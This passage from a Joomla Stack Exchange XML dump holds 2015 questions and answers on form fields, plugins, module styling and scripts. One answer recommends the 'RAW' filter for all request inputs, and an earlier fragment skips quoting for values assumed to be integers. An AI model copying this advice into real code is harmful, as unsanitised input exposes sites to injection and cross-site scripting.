&lt;code&gt;$db-&amp;gt;quote&lt;/code&gt; if you are passing integer to the database. for e.g. I've not added &lt;code&gt;$db-&amp;gt;quote&lt;/code&gt; for &lt;code&gt;$match_id&lt;/code&gt;. (assuming you are passing integer in that variable)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I would suggest you to use &lt;a href=&quot;https://docs.joomla.org/J1.5:Using_the_JTable_class&quot; rel=&quot;nofollow&quot;&gt;JTable&lt;/a&gt; method for CRUD operations on database. It will surely make your life easier.&lt;/p&gt;&#xA;" OwnerUserId="2233" LastActivityDate="2015-05-15T11:39:01.520" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9950" PostTypeId="2" ParentId="9945" CreationDate="2015-05-15T11:45:01.403" Score="1" Body="&lt;p&gt;Joomla has introduced new form field attribute called &quot;showon&quot; you can add that attribute in form field xml.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding the attribute showon allows to hide the field based on the value(s) of another field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Syntax to show the field &quot;bar&quot; only when &quot;foo&quot; is set to &quot;1&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;    name=&quot;foo&quot;&#xA;    type=&quot;list&quot;&#xA;    &amp;gt;&#xA;    &amp;lt;option value=&quot;1&quot;&amp;gt;JYES&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;0&quot;&amp;gt;JNO&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&amp;lt;field&#xA;    name=&quot;bar&quot;&#xA;    type=&quot;text&quot;&#xA;    showon=&quot;foo:1&quot;&#xA;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To match multiple values one can provide a comma-separated list of values. Like &lt;code&gt;showon=&quot;foo:1,2&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was introduced with PullRequest: &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/3379&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/pull/3379&lt;/a&gt;, available starting with Joomla 3.2.4.&lt;/p&gt;&#xA;" OwnerUserId="2233" LastActivityDate="2015-05-15T11:45:01.403" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9951" PostTypeId="2" ParentId="9947" CreationDate="2015-05-15T11:57:29.050" Score="2" Body="&lt;p&gt;Just a little to expand on @Sahil Purav's answer. The reason why your values might not be being stored as they should is because you need to define a filter in your inputs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try adding &lt;code&gt;RAW&lt;/code&gt; to all of them, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$match_id           =   $input-&amp;gt;get('match_id', null, 'RAW');&#xA;$match_time         =   $input-&amp;gt;get('match_time', null, 'RAW');&#xA;$match_venue        =   $input-&amp;gt;get('match_venue', null, 'RAW');&#xA;$match_team_one     =   $input-&amp;gt;get('match_team_one', null, 'RAW');&#xA;$match_team_two     =   $input-&amp;gt;get('match_team_two' null, 'RAW');&#xA;$match_result       =   $input-&amp;gt;get('match_result', null, 'RAW');&#xA;$match_umpire_one   =   $input-&amp;gt;get('match_umpire_one', null, 'RAW');&#xA;$match_umpire_two   =   $input-&amp;gt;get('match_umpire_two', null, 'RAW');&#xA;$match_mom          =   $input-&amp;gt;get('match_mom', null, 'RAW');&#xA;$match_toss         =   $input-&amp;gt;get('match_toss', null, 'RAW');&#xA;$match_fow          =   $input-&amp;gt;get('match_fow', null, 'RAW');&#xA;$match_comments     =   $input-&amp;gt;get('match_comments', null, 'RAW');&#xA;$match_debutants    =   $input-&amp;gt;get('match_debutants', null, 'RAW');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-10-12T22:42:00.960" LastActivityDate="2015-10-12T22:42:00.960" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9952" PostTypeId="2" ParentId="8871" CreationDate="2015-05-15T13:40:23.693" Score="2" Body="&lt;p&gt;Using the method you're going with here, this is how I would imagine achieving this;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;First of all, there's a possibility that your menu name might have multiple classes, so you need to check if your class name is is &lt;em&gt;contained within&lt;/em&gt; &lt;code&gt;$class&lt;/code&gt;, as opposed to exactly equal to it.  You could do this with PHP's &lt;code&gt;strpos&lt;/code&gt; function (though be careful about partial matches - more on that later).&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now, because your switch statement appears to output a different variation of the same menu item (based on where the link is opening), you probably want to wrap the entire statement in an &lt;code&gt;if&lt;/code&gt; clause to check against the class name - rather than just a subsection of it;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$class = &quot;apples oranges pears&quot;; // contains 3 different classes&#xA;&#xA;if (strpos($class, &quot;oranges&quot;) !== false)&#xA;{&#xA;    // DON'T show the menu item, because 'oranges' was detected&#xA;}&#xA;else&#xA;{&#xA;    // your whole switch statement goes here&#xA;    switch ($item-&amp;gt;browserNav) :&#xA;       // blah blah blah ...&#xA;    endswitch;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Be aware that &lt;code&gt;strpos&lt;/code&gt; will need to evaluate to EXACTLY 'not false', (!==) as opposed to basic 'not false' (!=), because it will incorrectly interpret position 0 as false if you don't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding partial class matches - if, in the example above, you were looking for a class called &lt;code&gt;pea&lt;/code&gt;, it would still match against &lt;code&gt;peaches&lt;/code&gt;, so the simplest solution is just to make sure that your class name is sufficiently distinct - otherwise you will need to write more elaborate code (maybe using regular expressions, or some other useful function that I can't think of right away).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that's of some use.&lt;/p&gt;&#xA;" OwnerUserId="3768" LastActivityDate="2015-05-15T13:40:23.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9953" PostTypeId="1" AcceptedAnswerId="9955" CreationDate="2015-05-15T16:29:08.110" Score="2" ViewCount="490" Body="&lt;p&gt;So, I'm trying to modify a plugin.&#xA;This plugin sets some meta tags in the head section using &lt;code&gt;addCustomTag&lt;/code&gt; (adding &lt;code&gt;&amp;lt;meta property=&quot;og:...&amp;gt;&lt;/code&gt;, etc.)&#xA;The problem is that they should be added only once.&#xA;Is it good idea to use &lt;code&gt;$woo = JResponse::getBody();&lt;/code&gt; and to check within with &lt;code&gt;preg_match()&lt;/code&gt;? My concern here is that &lt;a href=&quot;https://api.joomla.org/cms-3/classes/JResponse.html&quot; rel=&quot;nofollow&quot;&gt;JResponse is deprecated&lt;/a&gt;.&#xA;Event used is &lt;code&gt;onContentAfterDisplay&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1995" LastActivityDate="2015-05-16T07:35:07.220" Title="How plugin can check if meta tag exists?" Tags="|plugin|metadata|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9954" PostTypeId="2" ParentId="8871" CreationDate="2015-05-15T16:50:42.703" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;But this is still visible to the crawlers which I am trying to avoid. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Each menu item has a &quot;Robots&quot; option on the &quot;Metadata&quot; tab. Set it to &quot;No index, no follow&quot; and search engines should not index your page anymore.&lt;/p&gt;&#xA;" OwnerUserId="154" LastActivityDate="2015-05-15T16:50:42.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9955" PostTypeId="2" ParentId="9953" CreationDate="2015-05-15T17:33:47.907" Score="1" Body="&lt;p&gt;Add the entry only once by adding a field to your application and check whenever you want to add your custom tag.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;if(!isset($app-&amp;gt;metaloaded))&#xA;{&#xA;  $document-&amp;gt;addCustomTag('&amp;lt;meta property=&quot;og:...&quot;/&amp;gt;');&#xA;  $app-&amp;gt;metaloaded = true;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now if you want to call it at some other place or the function is called twice in the same request, the check will prevent it from executing twice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To check within already existing custom tags added by other extensions, you can use the below code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$document = JFactory::getDocument();&#xA;$headData = $document-&amp;gt;getHeadData();&#xA;$existing = false&#xA;&#xA;foreach($headData['custom'] as $tag)&#xA;{&#xA;   if($tag == $mytag) // or you can use if(strcmp($tag, $mytag) === 0))&#xA;   {&#xA;       $existing = true;&#xA;       break;&#xA;   }&#xA;}&#xA;&#xA;// now if the tag does not exist, add your tag&#xA;if(!$existing)&#xA;{&#xA;    // add your tag here&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4134" LastEditorUserId="4134" LastEditDate="2015-05-16T07:35:07.220" LastActivityDate="2015-05-16T07:35:07.220" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9956" PostTypeId="2" ParentId="9940" CreationDate="2015-05-15T18:03:29.457" Score="0" Body="&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;&#xA;// Select records from tables based on condition&#xA;&#xA;$query-&amp;gt;select('user.firstname, user.lastname, leadership.leadname, leadership.lead_des');&#xA;$query-&amp;gt;from('CLUB, LEADERSHIP, USER');&#xA;$query-&amp;gt;where('CLUB.CLUB_ID=11 AND LEADERSHIP.USER_ID=USER.USER_ID AND CLUB.CLUB_ID=Leadership.CLUB_ID');&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;$result = $db-&amp;gt;loadObjectList();&#xA;&#xA;// fetch result&#xA;&#xA;foreach($result as $row) {&#xA;    echo &quot;First name &quot;.$row-&amp;gt;firstname;&#xA;    echo &quot;Last name &quot;.$row-&amp;gt;lastname;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5248" LastEditorUserId="4134" LastEditDate="2015-05-16T04:53:02.950" LastActivityDate="2015-05-16T04:53:02.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9957" PostTypeId="1" CreationDate="2015-05-15T22:03:07.660" Score="1" ViewCount="402" Body="&lt;p&gt;In Joomla 3, I'm listing articles of several categories using the articles - category module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the articles are displayed, there should be a title for each category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But instead, a black dot is being displayed, as per below image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In J 2.5 this was working OK, but why not in J3?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Kz8fn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5250" LastEditorUserId="159" LastEditDate="2015-05-16T18:14:41.547" LastActivityDate="2015-05-16T18:14:41.547" Title="No category title in the articles category module" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9958" PostTypeId="1" AcceptedAnswerId="9959" CreationDate="2015-05-15T23:52:32.163" Score="5" ViewCount="3045" Body="&lt;p&gt;How to show a search box inside a 'list' type of form field?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tawlk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2239" LastActivityDate="2015-05-16T17:57:37.193" Title="How to show a search box inside a list form field" Tags="|jform|joomla-3.4|form-fields-types|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9959" PostTypeId="2" ParentId="9958" CreationDate="2015-05-16T06:51:20.933" Score="7" Body="&lt;p&gt;You need to load chosen plugin to style list box fields like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Load chosen plugin first in your form layout file so that it can add style to your select boxes&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('formbehavior.chosen', 'select');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Add following class name to your form field (optional if you want to color it as mandatory field)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class=&quot;chzn-color-state&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To render the field on your form page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;   &amp;lt;div class=&quot;control-label&quot;&amp;gt;&#xA;      &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getLabel('fieldname'); ?&amp;gt;&#xA;   &amp;lt;/div&amp;gt;&#xA;   &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;     &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getInput('fieldname'); ?&amp;gt;&#xA;   &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: The search box will be shown inside the listbox if there are 10 or more options inside it. See the below sample jQuery code that will be added by Joomla.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery('select').chosen({&quot;disable_search_threshold&quot;:10,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To override it, change your chosen loading code to following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('formbehavior.chosen', 'select', null, array('disable_search_threshold'=&amp;gt;1));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4134" LastEditorUserId="4134" LastEditDate="2015-05-16T17:57:37.193" LastActivityDate="2015-05-16T17:57:37.193" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="9960" PostTypeId="2" ParentId="9925" CreationDate="2015-05-16T07:29:36.847" Score="3" Body="&lt;p&gt;There are two mistakes in your code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) The following piece of code is broken, I guess two lines got overwritten.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$form-&amp;gt;setFieldAttribute('dob', 'description',              $form-&amp;gt;setFieldAttribute('postal_code', 'description', 'PLG_USER_PROFILE_EI_FILL_FIELD_DESC_SITE', 'profile_ei');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should be&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$form-&amp;gt;setFieldAttribute('dob', 'description', 'PLG_USER_PROFILE_EI_FILL_FIELD_DESC_SITE', 'profile_ei');&#xA;$form-&amp;gt;setFieldAttribute('postal_code', 'description', 'PLG_USER_PROFILE_EI_FILL_FIELD_DESC_SITE', 'profile_ei');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2) Your plugin name is profile_ei, however you named your class name as ProfileEI (missing underscore)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class PlgUserProfileEI extends JPlugin{&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;should be&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class PlgUserProfile_EI extends JPlugin{&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2015-05-16T07:29:36.847" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9961" PostTypeId="1" AcceptedAnswerId="9962" CreationDate="2015-05-16T12:47:34.013" Score="1" ViewCount="355" Body="&lt;p&gt;I use the module &lt;code&gt;Display News&lt;/code&gt; with the custom class &lt;code&gt;dn&lt;/code&gt; on my home page to display the last articles published. The width of the module adjusted to the size of the screen but only if the screen is wider than 410px. So on smartphone with a screen of 320px, the text in the module is cut.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0gxMw.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;I've found a temporary work around but by setting the width of &lt;code&gt;blogdn&lt;/code&gt; width the rule @media.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;@media (max-width: 410px) { &#xA;&#xA;.blogdn {&#xA;width:270px;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But I have to set 5 different &lt;code&gt;max-width&lt;/code&gt; with &lt;code&gt;@media&lt;/code&gt; to prevent the text from being cut for all screen width possible between 320px and 410px. Because this isn't a very nice fix I am trying to find something else.&lt;/p&gt;&#xA;&lt;p&gt;I've tried tried several approach, adding &lt;code&gt;position relative&lt;/code&gt; to the parent &lt;code&gt;div&lt;/code&gt;, or adding &lt;code&gt;display: block; overflow: hidden&lt;/code&gt;; but without success.&lt;/p&gt;&#xA;&lt;p&gt;Also there is something strange: on the French version of the website, the module is cut when the screen width is 400px but not on the English version. Couldn't find why.&lt;/p&gt;&#xA;&lt;p&gt;EDIT: This work around seems to work better than the @media one, thanks Lodder!&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.moduletabledn{&#xA;display: block;&#xA;overflow: hidden;&#xA;    }&#xA;&#xA;.moduletabledn tbody{&#xA;display: block;&#xA;overflow: hidden;&#xA;    }   &#xA;&#xA;.moduletabledn tr{&#xA;display: block;&#xA;overflow: hidden;&#xA;    }   &#xA;.moduletabledn td{&#xA;display: block;&#xA;overflow: hidden;&#xA;    }   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="1577" LastEditDate="2024-02-04T16:53:58.800" LastActivityDate="2024-02-04T16:53:58.800" Title="Set width of module table to the width of the module" Tags="|module|custom-module|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="9962" PostTypeId="2" ParentId="9961" CreationDate="2015-05-16T13:02:53.790" Score="1" Body="&lt;p&gt;First thing I would do is make the images 100% width and use &lt;code&gt;display:block;&lt;/code&gt; for mobiles. Text should not wrap around images on mobiles as long words can push the child element outside of the parent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Id also suggest you use 100% width rather than specific pixels for the &lt;code&gt;blogdn&lt;/code&gt; class. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You also have a margin and padding being set on the &lt;code&gt;megamod&lt;/code&gt; which is pushing the content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may want to look into the &lt;a href=&quot;http://www.w3schools.com/cssref/css3_pr_box-sizing.asp&quot; rel=&quot;nofollow&quot;&gt;Box Sizing&lt;/a&gt; property is you're going to be using paddings and margins&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-05-16T13:02:53.790" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9963" PostTypeId="1" CreationDate="2015-05-16T14:56:53.977" Score="4" ViewCount="1663" Body="&lt;p&gt;Apparently I can't have Mootools loaded in my custom back-end component since its colliding and worst even, its manipulating all standard String methods and cause a extreme slow down(crap in String.test patch) and/or crashes all over the place in my Javascript application(ibm-js, modern scripts according to latest stable w3c specs).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I filtered all Javascript via filtering JFactory::getDocument()-&gt;_scripts but it seems to break the admin menu(at least its not working anymore). I also tried every other things found on the internet but with no success.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone knows the official way to disable MooTools in back-end components whilst not breaking the admin-menu?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is no clean way to disable that scripts, what are the alternatives? Currently I see only iFrame as solution (document.write(myHtml)). Or would writing a admin template help you too?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thank you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Joomla-3.4.1 with standard plugins like RS-Firewall,...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;, this seems to kickoff more-tools-core at least:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHTML::_( 'behavior.framework', false );&#xA;$doc = JFactory::getDocument();&#xA;// remove joomla stuff&#xA;$doc-&amp;gt;_scripts     = null;&#xA;$doc-&amp;gt;_script      = null;&#xA;$doc-&amp;gt;_styleSheets = null;&#xA;$myComponent-&amp;gt;handleRequest();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for some reason &quot;more-tools-more&quot; is still on the page.&lt;/p&gt;&#xA;" OwnerUserId="5242" LastEditorUserId="5242" LastEditDate="2015-05-16T15:52:22.343" LastActivityDate="2015-05-16T17:34:56.167" Title="Clean way to disable MooTools in my back-end component or workarounds?" Tags="|joomla-3.x|mootools|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9964" PostTypeId="2" ParentId="9963" CreationDate="2015-05-16T15:08:50.360" Score="3" Body="&lt;p&gt;If you have the following code anywhere in your component, try removing it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('behavior.framework');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Else, try using the following which will unset the script from the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$doc     = JFactory::getDocument(); &#xA;$head    = $doc-&amp;gt;getHeadData();&#xA;$scripts = $head['scripts'];&#xA;&#xA;unset($scripts['/media/system/js/mootools-core.js']);&#xA;unset($scripts['/media/system/js/mootools-more.js']);&#xA;$head['scripts'] = $scripts;&#xA;$doc-&amp;gt;setHeadData( $head );   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In regards to your comment:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe Mootools is imported via the core, not the template, so changing your template won't make any difference&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="4134" LastEditDate="2015-05-16T17:34:56.167" LastActivityDate="2015-05-16T17:34:56.167" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9965" PostTypeId="2" ParentId="9957" CreationDate="2015-05-16T15:10:50.953" Score="1" Body="&lt;p&gt;I found the solution myself. Not sure this is a Joomla bug, but thanks to &lt;a href=&quot;https://stackoverflow.com/questions/15267711/joomla-3-articles-category-module-override-with-category-image-and-description&quot;&gt;this post&lt;/a&gt; and some head scratching I added this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h3&amp;lt;?php echo $item_heading; ?&amp;gt;&amp;gt;&amp;lt;?php echo $group_name; ?&amp;gt;&amp;lt;/h3&amp;lt;?php echo $item_heading; ?&amp;gt;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php foreach ($list as $group_name =&amp;gt; $group) : ?&amp;gt;&#xA;        &amp;lt;li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In file &lt;code&gt;mod_articles_category/tmpl/default&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="5250" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2015-05-16T15:16:30.893" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9966" PostTypeId="2" ParentId="9056" CreationDate="2015-05-16T18:30:42.443" Score="1" Body="&lt;p&gt;I am not aware of such a feature. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Behind the scenes you are actually calling com_config. So it's maybe worth inspecting the code for this component to see if there is such a feature somewhere hidden.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2015-05-16T18:30:42.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9967" PostTypeId="1" CreationDate="2015-05-16T21:29:30.423" Score="2" ViewCount="436" Body="&lt;p&gt;Simple question that I cannot seem to find an answer to anywhere. When I browse my forum, the sef url is /kunena, I want it to be /forum. How do I do this?&lt;/p&gt;&#xA;" OwnerUserId="5252" LastActivityDate="2015-05-16T22:10:57.737" Title="Change kunena url from /kunena to /forum" Tags="|url|sef|kunena|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9968" PostTypeId="1" AcceptedAnswerId="9970" CreationDate="2015-05-16T21:53:17.950" Score="3" ViewCount="1738" Body="&lt;p&gt;Am trying in yootheme ZOO app to enable the rating element ONLY when the date element passed the today date but i cant find a way to get the item_id. If I try for example 277 everything is working, but how i can get the specific item id for each page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added those lines in the beginning of /media/zoo/applications/page/elements/rating/tmpl|rating.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = App::getInstance('zoo');&#xA;$item = $app-&amp;gt;table-&amp;gt;item-&amp;gt;get(277);&#xA;$element_id = &quot;ffc8051a-fa18-4444-916c-bfbd74e2cb4e&quot;;&#xA;$element_value = $item-&amp;gt;getElement($element_id)-&amp;gt;getElementData()-&amp;gt;get('value');&#xA;$eventdate = $element_value;&#xA;$now = date('Y-m-d H:i:s');&#xA;&#xA;if (strtotime($eventdate) &amp;gt; $now) :&#xA;   echo &quot;bla bla&quot;;&#xA;endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1968" LastEditorUserId="1968" LastEditDate="2015-05-21T08:34:17.990" LastActivityDate="2017-02-20T14:32:33.203" Title="Access ZOO item id in an element template file" Tags="|php|zoo|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9969" PostTypeId="2" ParentId="9967" CreationDate="2015-05-16T22:10:57.737" Score="1" Body="&lt;p&gt;In the Joomla backend, go to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Menus&lt;/strong&gt; &gt;&gt; &lt;strong&gt;Kunena Menu&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then open the parent menu item (at the top of the list).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In here you can change the &lt;strong&gt;alias&lt;/strong&gt; value.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-05-16T22:10:57.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9970" PostTypeId="2" ParentId="9968" CreationDate="2015-05-16T22:14:24.807" Score="3" Body="&lt;p&gt;Ok found it out:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$item_id = $this-&amp;gt;_item-&amp;gt;id;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1968" LastActivityDate="2015-05-16T22:14:24.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9971" PostTypeId="2" ParentId="9383" CreationDate="2015-05-17T14:41:56.933" Score="3" Body="&lt;p&gt;That's a bit strange, I guess it should be related to how you have linked the pdf. From where you link the pdf?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case a direct hard-coded link to the pdf file like: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;images/sample.pdf&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;should work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is how you have linked it, then you should give more details about your configuration, but also consider to check if you have any special redirections or SEF extensions.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-05-17T16:08:51.730" LastActivityDate="2015-05-17T16:08:51.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9972" PostTypeId="2" ParentId="9136" CreationDate="2015-05-17T16:20:04.757" Score="1" Body="&lt;p&gt;If you are in Joomla 3.4.1, the easiest way in my opinion is to override the css rule for the&lt;br&gt;&#xA;&lt;code&gt;.icon-eye.thememanager:before&lt;/code&gt; selector, using a custom.css inside the ISIS template css folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just create the custom.css file, place it in: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;administrator/templates/isis/css&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and add your css override rules for the :before pseudo class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can be a &lt;code&gt;display:none&lt;/code&gt;, or a override over the &quot;&lt;code&gt;content&lt;/code&gt;&quot; attribute, e.g.:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.icon-eye.thememanager:before {content:&quot;&quot;;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You are done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*Keep in mind, that this seems to be a new feature introduced in Joomla 3.4.1. It's unknown yet how this will evolve and what might be the effects of a Joomla update. Just to stay in the safe side, you may want to backup the custom css file before updating.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-05-17T17:38:49.827" LastActivityDate="2015-05-17T17:38:49.827" CommentCount="0" ContentLicense="CC 